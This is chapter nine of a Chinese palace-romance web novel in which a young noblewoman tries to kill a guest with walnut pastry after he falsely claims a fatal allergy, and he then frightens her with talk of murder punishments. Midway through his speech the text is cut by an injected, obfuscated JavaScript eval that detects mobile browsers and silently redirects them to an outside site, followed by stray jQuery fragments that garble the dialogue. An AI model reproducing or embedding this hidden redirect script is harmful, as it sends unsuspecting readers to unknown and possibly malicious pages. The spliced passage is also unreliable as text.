9. 第九章

作品:《假千金和真少爷在一起了

    程明簌胳膊上缠着绷带,幸好伤的是左手,他还能看书写字,无论他做出什么样的改变,所谓的命书,似乎总能以一些强硬的方法让偏离的剧情回到正轨。


    他还是和侯府的人打上照面了,只是信物已被烧毁,不知话本还能用何种方式让他认亲。


    程明簌坐在院子里,对着桌上的书发呆。


    侯府家大业大,就连给一个外人住的院子都奢靡得不像话,陈设雅致,一看就是底蕴丰厚的书香世家。


    武宁侯喜欢学问好的后辈,有时下朝回来会考程明簌几个问题,他都一一答了,武宁侯便会满意地捋一捋胡子,笑眯眯离开。


    毕竟是侯府的马车先撞了人,所以程明簌在府中养伤时,一切吃穿住行与大公子薛徵是差不了多少的,每日丫鬟都会端着名贵的补品过来,今日也一样,傍晚的时候,照例有人来送东西,程明簌正坐在院子里看书。


    “程郎君。”


    采薇笑着唤了一声,将东西放在桌子上。


    梧桐树下,少年静默而坐,听到声音才抬头看了她一眼。


    采薇后背凉飕飕的,手心里冒着汗。


    她家小姐前段日子还闹着要杀了程郎君,今早就打发她来他的院子,打听程郎君的喜好。


    程明簌目光从她脸上滑过,重新落回书上。


    他认识这个丫鬟,薛瑛院子里的人,侯府的家生子,从小就和薛瑛在一起,两个人如纽带一般缠得紧紧的,采薇对薛瑛唯命是从。


    “程郎君。”采薇扯起嘴角,僵硬地笑了笑,“奴婢是二小姐院里的人。”


    对面的少年没什么反应。


    采薇有些心虚,按照小姐的吩咐,逐句说道:“程郎君,我们姑娘想问问您,平日喜欢吃什么,看什么书,喝什么茶,姑娘说了,您在侯府养伤,她理当尽地主之谊,好好赔罪。”


    程明簌握着书的手停顿几息,抬头,重新看向不远处的丫鬟。


    她比她主子要聪明些,说话滴水不漏,再紧张也不会露在面上。


    对于薛瑛的突然示好,他有些诧异,按照她先前瞧见他时害怕的样子,应当是不愿与他多接触的,今日主动叫奴婢来打听他的喜好,真的只是赔罪那么简单吗?


    程明簌面色平淡,开口道:“我喜欢看水利方面的典籍,不吃辛辣之物,别的没什么挑剔的,对了,在下生来不宜食用核桃,哪怕只是沾了一点都会立刻晕厥,甚至窒息而死。”


    他特意又重复了最后一句话,语气严肃。


    采薇点点头,“奴婢记下了,回去就会转达给我们小姐。”


    “劳烦。”


    “程郎君折煞奴婢了。”


    采薇朝他行了个礼,转身离开。


    薛瑛正在薛徵的屋里看书,她发现哥哥在,有好处,也有坏处,好处是他不用总是跑边境打仗,一年半载都见不到人,还要为他心惊胆战,坏处是,他有时对薛瑛会很严格,不能一天到晚只想着贪图享乐,要看书,练字,也不能一天吃三块甜瓜,那样会闹肚子。


    身体上的事情,薛徵一向说一不二,对他撒娇完全没用,她面冷心硬的哥哥根本不吃这一套。


    薛瑛百无聊赖地翻着书,忽然看到窗外采薇急匆匆的身影,她立刻精神起来,从桌案前站起,“采薇!”


    采薇听到她的声音,快步走过去。


    怕薛徵听到两人的对话,薛瑛拉着她到角落,低声道:“你去问了么?”


    “问了。”采薇将程明簌说的话原封不动地转达。


    “他不能吃核桃?”薛瑛问了一遍,采薇重重点头。


    “笨死了,这不是亲口将弱点告诉我?”薛瑛哼哼一声,有些眉飞色舞,采薇看着她,她家姑娘唇红齿白,貌若芙蕖,手握成拳抵着下颌,眼睛滴溜溜地转,一看就是在想坏主意,可是就算是不安好心,也不叫人觉得讨厌,微皱着眉沉思的模样,满是娇憨。


    “你去吩咐厨房,做一道核桃酥。核桃仁要碾得细碎一点,最好看不出来。”


    采薇“嗯嗯”两声,转身下去吩咐了。


    入了夜,薛瑛捧着那碟核桃酥,走向程明簌的院子,屋里还亮堂着,窗纸上印着人影。


    程明簌没有看书,等着外面响起少女的呼唤,“程郎君。”


    清脆,带着刻意的娇腻。


    程明簌嘴角勾了勾,待她又唤了几声,有些着急时,起身。


    薛瑛已经气得跺脚了,程明簌明明就坐在窗边,她喊他,他竟敢一动不动!


    可待他拉开门,她脸上凶神恶煞的表情顿时变成明媚的笑容,“程郎君,我来给你送点心。”


    程明簌看着她,少女穿着一身藕荷色的衣裙,面庞清丽,犹如一朵盛开的菡萏花,单薄的纱裙在腰际收拢,玲珑曼妙,细腰如柳。


    看到他,她下意识地抖了下,又逼迫自己镇静下来,笑了笑,说:“你尝尝。”


    程明簌面无表情,没有伸手接,淡淡道:“我不吃宵夜。”


    薛瑛急了,她不能理解,她容易饿,平日就算吃过晚膳,夜里也总要再叫小厨房弄点东西吃。


    薛瑛将装着点心的碟子推到他面前,“你吃嘛,好吃的。”


    程明簌看了一眼盘子里的糕点,再对上她水润的眸子,抬起手,拿了一枚。


    薛瑛的眼睛亮了几分,直勾勾地看着他,心里默数着数,她可是加足了量,保他一口就暴毙。


    程明簌在她的注视下,慢条斯理地吃完一枚核桃酥,说:“嗯,好吃。”


    他好端端地站着,既没有两眼一黑晕过去,也没有呼吸不畅。


    薛瑛心里着急,“还有,你再、再吃。”


    程明簌突然笑了。


    “薛姑娘。”他开口叫了她一声。


    薛瑛不明所以,呆呆地看着他,“你叫我干、干什么。”


    程明簌向前一步,纵然年龄相仿,可他比她高上许多,站在身前,薛瑛几乎被罩在他的阴影下。


    她握着食盒的手紧了紧,薛瑛垂眸直视她的眼睛,声音轻而淡,却叫人不寒而栗。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625675|172345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想要害人,可不是这样害的。”


    薛瑛心提了起来,语无伦次,“我没有,我没有害你……”


    程明簌又笑了,他都还没有说话,她就已经应激似的狡辩。


    “知道什么叫借刀杀人么?”


    他隔着衣袖握住她的手腕,薛瑛头皮发麻,想要将手抽出,他却握得很紧,“这盘核桃酥不应该是你端过来,你应当将我不能吃核桃的消息告诉另一个讨厌我的人,让他骗我吃下,我死了,他的嫌疑最大,薛姑娘,你打听完我的喜好,又这样大摇大摆地端着盘子过来,不怕引火烧身么,杀人,可是要砍头的大罪。”


    薛瑛身子一抖,手上的碗碟啪嗒摔落在地,没吃完的几枚核桃酥也滚到了台阶下。


    她后背一身汗,唇色苍白,哆哆嗦嗦地说:“可你、你刚刚吃了……”


    程明簌勾着嘴角,轻轻一笑,“因为我是骗你的,不能吃核桃一言,根本是顺口胡诌,没有的事。”


    薛瑛脸已经白了,眼尾红滟滟的,只觉得毛骨悚然,她喉咙里发出呜呜的声音,下意识往后躲,结果踩空石阶,向下摔去,又被程明簌拉回来。


    太可怕了,他知道她要害他,还将计就计,故意引她上钩,她的坏心思都被他看穿了!


    她见鬼似的看着他,缩着肩膀,“你是不是要找我算账,找我报仇。”


    他这样阴险之人,不知道肚子里装着什么样的坏墨水,要怎么报复她。


    “不算账。”程明簌轻声道:“我只想在这里好好养伤,薛姑娘,害人之心不可有,你知道依照我朝的律例,杀人者要判什么罪吗?”


    薛瑛喉头滚了滚,她书读得囫囵吞枣,最常见的知识知道,可是看着程明簌笑里藏刀的模样,又觉得杀人不只是血债血偿那么简单。


    程明簌盯着她如雪山般抖动的眼眸,一字一顿地说:“杀人者,轻则流放,重则绞监候,甚至是凌迟,流放可不只是去穷苦地方那么简单,要挖矿山,搬石头,山脚下多的是被巨石压成烂泥的人。知道什么是凌迟么?”


    “什么……”


    他做了个手势,“用刀,一片一片地割了你的肉,骨头都露出来了,人可能还没死,若遇上心狠手辣的,割了你的肉还得喂给你吃呢。”


    “懂了么?”程明簌问她,“想要害人,就不能留下破绽,不管是买凶,还是下毒,都得交给别人来做,自己不能露面,赏金也不能走明面上的账目,知道吗?”


    薛瑛牙齿打颤,吓得都要疯了,一把将他推开。


    她跌跌撞撞转身,慌不择路,还险些撞到门槛,被程明簌拉了一把,只是额角擦了一下便疼得眼冒泪花,自己捂着额头,委屈到极致,呜呜咽咽地跑出院子。


    程明簌看着她走远,直至身影消失不见,卧房门前的地砖上还有几块残留的碎瓷片,程明簌蹲下身,捡起掉在地上的核桃酥,拍了拍,低头慢慢吃掉。


    核桃香清甜宜人,程明簌看向院门的方向,确信薛瑛和他一样,记得前世的事情,怕他认亲,才想要杀他。